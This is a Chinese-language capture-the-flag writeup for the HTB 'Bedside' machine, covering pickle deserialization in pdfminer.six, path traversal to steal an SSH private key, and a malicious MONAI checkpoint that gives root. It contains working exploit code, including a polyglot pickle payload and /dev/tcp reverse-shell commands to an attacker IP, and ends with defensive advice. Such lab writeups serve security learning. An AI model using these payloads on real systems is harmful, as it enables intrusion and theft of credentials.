BedsideHTB渗透测试Writeup—从PDF反序列化到Root

admin 2026-08-18 06:24:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了BedsideHTB渗透测试过程,攻击链从利用pdfminer.six的pickle反序列化漏洞(CVE-2025-64512)获得Docker容器RCE开始,通过esm.sh/x路径遍历窃取SSH私钥登录宿主机,最后利用MONAICheckpointLoader反序列化漏洞(CVE-2025-58756)提权至root。文章强调了X-Powered-By头暴露信息的重要性,并提供了polyglot文件构造等可操作技巧。 综合评分: 89 文章分类: 渗透测试,漏洞分析,红队,内网渗透,WEB安全


0x03 侦察阶段

3.1 端口扫描

nmap -sC -sV -oA bedside 10.129.x.x

# 结果
22/tcp   open  ssh     OpenSSH
80/tcp   open  http    Apache httpd

3.2 子域名枚举

ffuf -u http://10.129.x.x -H "Host: FUZZ.bedside.htb" -w /usr/share/wordlists/dirb/common.txt -fs 10918

# 发现
research.bedside.htb    (200, 与主站不同)

3.3 子站探测

# 添加 hosts
echo "10.129.x.x research.bedside.htb" >> /etc/hosts

# 访问 research 子站
curl -s http://research.bedside.htb/
# 发现文件上传功能

3.4 上传测试 — 发现 pdfminer.six

# 上传测试文件,抓取响应头
curl -sv -X POST http://research.bedside.htb/ \
  -F "[email protected]" 2>&1 | grep -i "powered\|server\|x-"

# 关键发现
# X-Powered-By: pdfminer.six

玄机 #1: X-Powered-By 头直接暴露了后端使用的 PDF 处理库。用 Burp Suite 抓上传请求的响应就能看到。这是一个被忽略的早期线索。


0x04 漏洞研究 — CVE-2025-64512

4.1 漏洞原理

pdfminer.six 的 CMapDB._load_data() 函数使用 pickle.loads() 反序列化 .pickle.gz 文件:

# 漏洞代码 (pdfminer/cmapdb.py)
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")           # 不充分的过滤
    filename = "%s.pickle.gz" % name
    path = os.path.join(directory, filename) # 绝对路径时 directory 被忽略
    return type(str(name), (), pickle.loads(gzfile.read()))  # 不安全反序列化

攻击者可以在 PDF 的 /Encoding 字段指定任意路径,pdfminer 会加载该路径的 .pickle.gz 文件并反序列化。

4.2 利用条件

  1. 1. 上传恶意 .pickle.gz 文件到服务器可访问的路径
  2. 2. 上传 trigger PDF,其 /Encoding 指向 .pickle.gz 的路径
  3. 3. pdfminer 处理 trigger PDF 时加载并反序列化恶意 pickle

4.3 关键约束

  • • pickle.loads() 的返回值会被传给 type(name, (), result),所以必须返回 dict
  • • pdfminer 按 CMap 名缓存,同名文件不会二次加载
  • • trigger PDF 必须使用完整的 Type0 字体结构(/DescendantFonts + /CIDFontType2 + /FontDescriptor

0x05 Foothold — 容器 RCE

5.1 Payload 构造

import gzip, pickle

# pickle payload: 执行命令并返回 dict
cmd = "curl http://10.10.x.x:8000/EXEC;bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'"
code = f"__import__('subprocess').Popen({repr(cmd)},shell=True) or {{}}"

class RCE:
    def __reduce__(self):
        return (eval, (code,))

payload = pickle.dumps(RCE())

# 构造 polyglot: gzip + PDF in FCOMMENT
base_gz = gzip.compress(payload)
gz = bytearray(base_gz)
gz[3] |= 0x10  # 设置 FCOMMENT flag

pdf = b"""%PDF-1.4
1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj
2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj
3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000052 00000 n
0000000101 00000 n
trailer<</Size 4/Root 1 0 R>>
startxref
149
%%EOF
"""
comment =&nbsp;b"\n"&nbsp;+ pdf +&nbsp;b'\x00'
new_gz =&nbsp;bytearray(gz[:10]) + comment +&nbsp;bytearray(gz[10:])

with&nbsp;open("payload.pickle.gz",&nbsp;"wb")&nbsp;as&nbsp;f:
&nbsp; &nbsp; f.write(new_gz)

5.2 Trigger PDF 构造

# /Encoding 指向 payload.pickle.gz 的服务器路径
# 路径必须包含完整 vhost 名!
encoding_path =&nbsp;"#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fpayload"
# 解码后 = /var/www/research.bedside.htb/uploads/payload
# pdfminer 会找 /var/www/research.bedside.htb/uploads/payload.pickle.gz

pdf =&nbsp;f"""%PDF-1.4
1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
&nbsp; /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >> endobj
4 0 obj << /Length 44 >> stream
BT /F1 12 Tf 100 700 Td (X) Tj ET
endstream endobj
5 0 obj << /Type /Font /Subtype /Type0
&nbsp; /BaseFont /MaliciousFont-Identity-H
&nbsp; /Encoding /{encoding_path}
&nbsp; /DescendantFonts [6 0 R] >> endobj
6 0 obj << /Type /Font /Subtype /CIDFontType2
&nbsp; /BaseFont /MaliciousFont /CIDSystemInfo
&nbsp; << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >>
&nbsp; /FontDescriptor 7 0 R >> endobj
7 0 obj << /Type /FontDescriptor /FontName /MaliciousFont
&nbsp; /Flags 4 /FontBBox [-1000 -1000 1000 1000]
&nbsp; /ItalicAngle 0 /Ascent 1000 /Descent -200
&nbsp; /CapHeight 800 /StemV 80 >> endobj
xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer << /Size 8 /Root 1 0 R >>
startxref
871
%%EOF
"""

玄机 #2: CMap 路径必须是 /var/www/research.bedside.htb/uploads/,包含完整 vhost 名。少了 .bedside.htb 就触发不了。这个路径在容器内的 /app/pdf_watcher.py 源码中可以直接找到。

5.3 上传与触发

# 1. 上传 pickle payload
curl -s -X POST http://research.bedside.htb/ -F&nbsp;"[email protected]"

# 2. 上传 trigger PDF(pdfminer 30秒内自动处理)
curl -s -X POST http://research.bedside.htb/ -F&nbsp;"[email protected]"

# 3. 在 Kali 上监听
nc -lvnp 4444

# 等待约 30 秒,收到 shell
# datawrangler@data-wrangler:/app$

玄机 #3: pdf_watcher.py 每 30 秒扫描一次 uploads 目录。触发是异步的,不是即时。需要耐心等待。

5.4 容器内信息收集

# 确认身份
id
# uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops)

# 查看应用源码 — 发现关键路径
cat&nbsp;/app/pdf_watcher.py
# UPLOAD_DIR = "/var/www/research.bedside.htb/uploads" &nbsp;← 正确路径!

# 查看挂载点
cat&nbsp;/proc/mounts | grep -v proc | grep -v sys
# /dev/sda4 /datastore ext4 rw &nbsp;← 共享卷
# /dev/sda4 /var/www/research.bedside.htb/uploads ext4 rw &nbsp;← 共享卷

# 扫描 Docker 网关
for&nbsp;port&nbsp;in&nbsp;80 3000;&nbsp;do
&nbsp; curl -s -o /dev/null -w&nbsp;"$port: %{http_code}\n"&nbsp;http://172.17.0.1:$port/
done
# 80: 301 &nbsp;(Apache)
# 3000: 200 (esm.sh/x 开发服务器)

0x06 路径遍历 — 读取宿主机文件

6.1 发现 esm.sh/x 服务器

curl -s http://172.17.0.1:3000/ |&nbsp;head&nbsp;-5
# <title>Bedside Clinic - Image Viewer</title>
# Built with esm.sh/x

curl -sI http://172.17.0.1:3000/
# HTTP/1.1 200 OK
# Etag: w/"..." &nbsp;← Go 风格 Etag

6.2 路径遍历 — 关键:--path-as-is

# ❌ 普通 curl — 会规范化 ../,服务器收不到遍历请求
curl -s&nbsp;"http://172.17.0.1:3000/../../../../etc/passwd"
# Not Found

# ✅ 加 --path-as-is — 发送原始路径
curl -s --path-as-is&nbsp;"http://172.17.0.1:3000/../../../../etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# ...
# developer:x:1000:1000:developer,,,:/home/developer:/bin/bash
# datawrangler:x:988:1001::/home/datawrangler:/bin/sh

玄机 #4: curl 默认会规范化 URL 中的 ../,导致服务器收到的不是路径遍历请求。必须加 --path-as-is 参数。这是整个攻击链中最隐蔽的一个坑。

6.3 读取 SSH 私钥

curl -s --path-as-is&nbsp;"http://172.17.0.1:3000/../../../../home/developer/.ssh/id_rsa"
# -----BEGIN OPENSSH PRIVATE KEY-----
# [已脱敏]
# -----END OPENSSH PRIVATE KEY-----

# 读取 user flag
curl -s --path-as-is&nbsp;"http://172.17.0.1:3000/../../../../home/developer/user.txt"
# ████████████████████████████████ &nbsp;(已脱敏)

6.4 SSH 登录宿主机

# 在 Kali 上
chmod&nbsp;600 developer_key
ssh -i developer_key [email protected]

# 成功登录
# developer@bedside:~$

6.5 检查 sudo 权限

sudo&nbsp;-l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py

0x07 提权 — MONAI Trainer 反序列化

7.1 漏洞分析

cat&nbsp;/opt/trainer/bedside_trainer.py

关键代码:

from&nbsp;monai.handlers&nbsp;import&nbsp;CheckpointLoader

# 查找最新的 .pt 文件
latest_ckpt = find_latest_checkpoint(CHECKPOINT_DIR) &nbsp;# /datastore/checkpoints/*.pt

if&nbsp;latest_ckpt:
&nbsp; &nbsp; loader = CheckpointLoader(
&nbsp; &nbsp; &nbsp; &nbsp; load_path=str(latest_ckpt),
&nbsp; &nbsp; &nbsp; &nbsp; load_dict={"model": model,&nbsp;"optimizer": optimizer},
&nbsp; &nbsp; &nbsp; &nbsp; map_location=DEVICE
&nbsp; &nbsp; )
&nbsp; &nbsp; loader(engine) &nbsp;# ← 这里触发 torch.load() → pickle.load()

CheckpointLoader 内部调用 torch.load(),而 torch.load() 使用 pickle.load() 反序列化 .pt 文件。

7.2 攻击计划

datawrangler (容器) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;developer (宿主机)
&nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp;├─ 写 evil.pt → /datastore/checkpoints/│
&nbsp; &nbsp; &nbsp;├─ 写 test.png → /datastore/staging/ &nbsp; │
&nbsp; &nbsp; &nbsp;├─ 清理 .txt 文件 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;├─ sudo python3 trainer.py
&nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; → 加载 test.png (成功)
&nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; → 加载 evil.pt
&nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; → pickle 反序列化
&nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; → ROOT SHELL
&nbsp; &nbsp; &nbsp;└────────────── 共享卷 ────────────────┘

7.3 在容器中准备文件

# === 在 datawrangler 容器中执行 ===

# 1. 清理 staging 中的 .txt(pdf_watcher 生成的)
rm&nbsp;-f /datastore/staging/*.txt /datastore/processed/*.txt

# 2. 删除 uploads 中的 PDF(阻止 watcher 生成新 .txt)
rm&nbsp;-f /var/www/research.bedside.htb/uploads/*.pdf
rm&nbsp;-f /var/www/research.bedside.htb/uploads/*.pickle.gz

# 3. 创建有效 PNG 图片(trainer 需要能加载的图片)
python3 -c&nbsp;"
import struct, zlib
w, h = 1, 1
raw = b'\x00' + b'\xff\x00\x00' * w
comp = zlib.compress(raw)
def ch(t, d):
&nbsp; &nbsp; c = t + d
&nbsp; &nbsp; return struct.pack('>I', len(d)) + c + struct.pack('>I', zlib.crc32(c) & 0xffffffff)
png = b'\x89PNG\r\n\x1a\n'
png += ch(b'IHDR', struct.pack('>IIBBBBB', w, h, 8, 2, 0, 0, 0))
png += ch(b'IDAT', comp)
png += ch(b'IEND', b'')
with open('/datastore/staging/test.png', 'wb') as f:
&nbsp; &nbsp; f.write(png)
"

# 4. 创建恶意 .pt 文件(pickle RCE)
python3 -c&nbsp;"
import pickle, os
class Evil:
&nbsp; &nbsp; def __reduce__(self):
&nbsp; &nbsp; &nbsp; &nbsp; return (os.system, ('bash -c \"bash -i >& /dev/tcp/10.10.x.x/4445 0>&1\"',))
with open('/datastore/checkpoints/evil.pt', 'wb') as f:
&nbsp; &nbsp; pickle.dump(Evil(), f)
"

# 5. 确认文件
ls&nbsp;-la /datastore/staging/ &nbsp; &nbsp;# 只有 test.png
ls&nbsp;-la /datastore/processed/ &nbsp;# 空
ls&nbsp;-la /datastore/checkpoints/&nbsp;# 只有 evil.pt

玄机 #5: trainer 先加载图片数据,然后才加载 checkpoint。如果图片加载失败(比如 staging 里有 .txt 文件),永远不会执行到 checkpoint 加载。所以必须清理 .txt 并放一个有效 PNG。

7.4 触发提权

# === 在 Kali 上监听 ===
nc -lvnp 4445

# === 在 developer SSH 中执行(30秒内,趁 watcher 没生成新 .txt)===
sudo&nbsp;/usr/bin/python3 /opt/trainer/bedside_trainer.py

# trainer 输出:
# Promoted 1 files from staging -> processed
# Using 1 samples for training.
# Auto-detected input features: 12288
# Found checkpoint /datastore/checkpoints/evil.pt, loading with CheckpointLoader...

# Kali 上收到 root shell!
# root@bedside:/home/developer#
id
# uid=0(root) gid=0(root) groups=0(root)

cat&nbsp;/root/root.txt
# ████████████████████████████████ &nbsp;(已脱敏)

0x08 完整渗透测试拓扑图

┌─────────────────────────────────────────────────────────────────────────┐
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 攻击链全景图 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
├─────────────────────────────────────────────────────────────────────────┤
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp;┌──────────┐ &nbsp; &nbsp;①上传pickle+PDF &nbsp; &nbsp; ┌──────────────────────────────┐ &nbsp;│
│ &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ ─────────────────────▶ │ research.bedside.htb (:80) &nbsp; │ &nbsp;│
│ &nbsp;│ &nbsp;Kali &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; ↓ pdf_watcher (30s) &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;│
│ &nbsp;│ 10.10.x.x│ &nbsp; &nbsp;②收到反弹shell &nbsp; &nbsp; &nbsp; │ &nbsp; ↓ pdfminer.six RCE &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp;│
│ &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ ◀───────────────────── │ &nbsp; ↓ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp;│
│ &nbsp;│ &nbsp;:4444 &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ Docker 容器 (data-wrangler) &nbsp;│ &nbsp;│
│ &nbsp;│ &nbsp;:4445 &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; datawrangler@data-wrangler │ &nbsp;│
│ &nbsp;│ &nbsp;:8000 &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;└──────────┬───────────────────┘ &nbsp;│
│ &nbsp;└────┬─────┘ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ ③路径遍历 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp;④SSH登录 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;┌──────────────────────────────┐ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; └─────────────────────────│ 172.17.0.1:3000 (esm.sh/x) &nbsp; │ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ curl --path-as-is /../../../ &nbsp;│ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ → 读取 developer SSH 私钥 &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ → 读取 user.txt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └──────────┬───────────────────┘ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ ⑤SSH &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ┌──────────────────────────────┐ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ developer@bedside (宿主机) &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ sudo: python3 trainer.py &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ ⑥容器写 evil.pt → checkpoints│ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; 容器写 test.png → staging &nbsp;│ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; developer sudo trainer.py &nbsp;│ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; → CheckpointLoader &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; → torch.load() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; → pickle.load() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; → ROOT RCE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ root@bedside &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ cat /root/root.txt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ ████████████████ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └──────────────────────────────┘ &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
└─────────────────────────────────────────────────────────────────────────┘

0x09 踩坑总结

| # | 坑 | 浪费时间 | 教训 | | — | — | — | — | | 1 | CMap 路径少写 .bedside.htb | ~3小时 | 路径必须和 vhost 名一致;先读源码确认 | | 2 | curl 默认规范化 ../ | ~1小时 | 用 --path-as-is 发送原始路径 | | 3 | pdfminer CMap 缓存 | ~30分钟 | 每次用新的 CMap 名字 | | 4 | 端口 4444 被防火墙挡 | ~1小时 | 先验证端口可达性(curl 回调) | | 5 | staging 的 .txt 导致 trainer 崩溃 | ~30分钟 | 清理 .txt + 删除 uploads 中的 PDF | | 6 | developer 无法写 /datastore | ~15分钟 | 两个立足点配合,容器写文件,宿主机执行 |


0x10 防御建议

  1. 1. 升级 pdfminer.six 到 ≥ 20251107(移除了 pickle 反序列化,改用 JSON)
  2. 2. 升级 MONAI 到修复 CVE-2025-58756 的版本
  3. 3. 限制 sudo 权限,避免 developer 能以 root 运行 Python 脚本
  4. 4. 容器隔离,datawrangler 不应能访问宿主机服务(端口 3000)
  5. 5. 路径遍历防护,esm.sh/x 服务器应验证请求路径不包含 ../
  6. 6. 移除 X-Powered-By 头,不暴露后端技术栈
  7. 7. SSH 密钥保护,私钥应设置 passphrase
  8. 8. 共享卷权限,/datastore 不应对 datawrangler 可写

0x11 时间线

| 时间 | 事件 | | — | — | | T+0h | 端口扫描、子域名枚举、发现 research.bedside.htb | | T+0.5h | 发现文件上传功能、X-Powered-By: pdfminer.six | | T+1h | 研究 CVE-2025-64512、构造 polyglot payload | | T+2h | 上传测试、verify 回调成功 | | T+3h | attack 反复失败(路径错误) | | T+5h | 发现正确路径 /var/www/research.bedside.htb/uploads/ | | T+5.5h | 拿到 datawrangler 容器 shell | | T+6h | 发现端口 3000 路径遍历(--path-as-is) | | T+6.5h | 读取 SSH 私钥、登录 developer | | T+7h | 分析 MONAI trainer、构造恶意 .pt 文件 | | T+7.5h | 拿到 root shell |


